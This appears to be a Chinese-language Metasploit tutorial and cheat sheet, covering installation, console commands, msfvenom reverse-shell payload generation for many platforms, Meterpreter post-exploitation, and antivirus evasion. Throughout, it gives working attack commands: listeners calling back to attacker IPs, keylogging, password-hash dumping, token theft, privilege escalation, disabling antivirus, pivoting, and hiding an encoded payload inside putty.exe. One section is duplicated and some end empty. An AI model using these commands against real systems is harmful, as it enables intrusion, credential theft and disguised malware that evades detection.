簡介
Metasploit
就是一個漏洞框架。它的全稱叫做The Metasploit Framework
,簡稱叫做MSF
。Metasploit
作為全球最受歡迎的工具,
不僅僅是因為它的方便性和強大性,更重要的是它的框架。它允許使用者開發自己的漏洞腳本,從而進行測試。
0x01 安裝、基本操作
kali Linux自帶Metasploit,直接使用命令msfconsole啟動即可
windows 可安裝windows版本的msf,然后cmd啟動msfconsole (windows最新版本下載鏈接) 提取碼:x0y1
2、建立搜索緩存(數據庫)
啟動PostgreSQL
數據庫服務:service postgresql start
監聽5432
端口
初始化Metasploit
數據庫:msfdb init
查看數據庫聯接情況:msfconsole db_status
建立數據庫緩存:msfconsole db_rebuild_cache
3、專業術語
– Exploit,攻擊工具/代碼
– Payload,攻擊載荷
– Shellcode
– Module,模塊
– Listener,監聽器
4、常用命令
show exploits – 查看所有可用的滲透攻擊程序代碼 show auxiliary – 查看所有可用的輔助攻擊工具 show options – 查看該模塊所有可用選項 show payloads – 查看該模塊適用的所有載荷代碼 show targets – 查看該模塊適用的攻擊目標類型 search – 根據關鍵字搜索某模塊 info – 顯示某模塊的詳細信息 use – 進入使用某滲透攻擊模塊 back – 回退 set/unset – 設置/禁用模塊中的某個參數 setg/unsetg – 設置/禁用適用於所有模塊的全局參數 save – 將當前設置值保存下來,以便下次啟動MSF終端時仍可使用
0x01 Metasploit功能程序
msfvenom
(攻擊載荷生成和編碼器)
主要參數: -p payload -e 編碼方式 -i 編碼次數 -b 在生成的程序中避免出現的值 LHOST,LPORT 監聽上線的主機IP和端口 -f exe 生成EXE格式 使用msfvenom -l 可以查看可以利用payload msfvenom -l | grep windows | grep x64 | grep tcp 選擇payload
1、生成可執行文件
Linux: msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elf Windows: msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe > shell.exe Mac: msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f macho > shell.macho PHP: msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.php cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php ASP: msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp > shell.asp JSP: msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.jsp WAR: msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f war > shell.war Python: msfvenom -p cmd/unix/reverse_python LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.py Bash: msfvenom -p cmd/unix/reverse_bash LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.sh Perl: msfvenom -p cmd/unix/reverse_perl LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.pl
2、監聽
set PAYLOAD <Payload name> set LHOST <LHOST value> set LPORT <LPORT value> set ExitOnSession false 讓connection保持連接(即使一個連接退出,仍然保持listening狀態) exploit -j –z -j(作為job開始運行)和-z(不立即進行session交換--也即是自動后台運行)
3、實例
set PAYLOAD <Payload name> set LHOST <LHOST value> set LPORT <LPORT value> set ExitOnSession false 讓connection保持連接(即使一個連接退出,仍然保持listening狀態) exploit -j –z -j(作為job開始運行)和-z(不立即進行session交換--也即是自動后台運行)
3、實例
msfvenom -p windows/x64/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 -b ‘\x00’ LHOST=172.16.0.4 LPORT=443 -f exe > abc.exe
開啟監聽
msf > use exploit/multi/handler msf exploit(handler) > set payload windows/x64/meterpreter/reverse_tcp msf exploit(handler) > show options
msf exploit(handler) > set LHOST 172.16.0.4 msf exploit(handler) > set ExitOnSession false msf exploit(handler) > exploit -j -z -j(計划任務下進行攻擊,后台) -z(攻擊完成不遇會話交互) msf exploit(handler) > jobs 查看后台攻擊任務 msf exploit(handler) > kill <id> 停止某后台攻擊任務 msf exploit(handler) > sessions -l (查看會話)
msf exploit(handler) > sessions -i 2 選擇會話 msf exploit(handler) > sessions -k 2 結束會話
0x02 Meterpreter后攻擊
Meterpreter提供的功能包括反追蹤、純內存工作模式、系統 信息獲取、密碼哈希導出、文件上傳下載、屏幕截取、鍵盤記 錄、權限提升、跳板攻擊等等
常用命令:
meterpreter > background 放回后台 meterpreter > exit 關閉會話 meterpreter > help 幫助信息 meterpreter > Sysinfo系統平台信息 meterpreter > screenshot 屏幕截取 meterpreter > shell 命令行shell (exit退出) meterpreter > getlwd 查看本地目錄 meterpreter > lcd 切換本地目錄 meterpreter > getwd 查看目錄 meterpreter > ls 查看文件目錄列表 meterpreter > cd 切換目錄 meterpreter > rm 刪除文件 meterpreter > download C:\\Users\\123\\Desktop\\1.txt 1.txt 下載文件 meterpreter > upload /var/www/wce.exe wce.exe 上傳文件 meterpreter > search -d c: -f *.doc 搜索文件 meterpreter > execute -f cmd.exe -i 執行程序/命令 meterpreter > ps 查看進程 meterpreter > run post/windows/capture/keylog_recorder 鍵盤記錄 meterpreter > getuid 查看當前用戶權限 meterpreter > use priv 加載特權模塊 meterpreter > getsystem 提升到SYSTEM權限 meterpreter > hashdump 導出密碼散列 meterpreter > ps 查看高權限用戶PID meterpreter > steal_token <PID> 竊取令牌 meterpreter > rev2self 恢復原來的令牌 meterpreter > migrate pid 遷移進程 meterpreter > run killav 關閉殺毒軟件 meterpreter > run getgui-e 啟用遠程桌面 meterpreter > portfwd add -l 1234 -p 3389 -r <目標IP> 端口轉發 meterpreter > run get_local_subnets 獲取內網網段信息 meterpreter > run autoroute -s <內網網段> 創建自動路由 meterpreter > run autoroute -p 查看自動路由表 創建代理通道: msf > use auxiliary/server/socks4a 設置socks4代理模塊 msf auxiliary(socks4a) > show options msf auxiliary(socks4a) > run 配置proxychains參數: nano /etc/proxychains.conf 修改代理監聽端口,和前面端口一致 quite_mode 設置成安靜模式:去掉如下參數前面的注釋
0x03 免殺
1、多次編碼免殺
msfvenom -p windows/meterpreter/reverse_http LHOST=192.168.80.12 LPORT=443 -e x86/shikata_ga_nai-i5 -f exe -o /var/www/html/reverse_http_encode.exe
2、自定義二進制代碼的文件模板免殺
使用“putty.exe”作為文件模板,而且隨着putty程序運行而隱蔽同時運行,還使用編碼器進行了編碼。
msfvenom -p windows/meterpreter/reverse_http LHOST=192.168.80.12 LPORT=443 -e x86/shikata_ga_nai-i5 -x ~/putty.exe -k -f exe -o /var/www/html/reverse_http_putty.exe
3、使用Veil生成免殺代碼
下載地址:https://github.com/Veil-Framework/Veil
安裝使用教程:請看另一篇
4、使用venom生成免殺文件
下載地址:
安裝使用教程: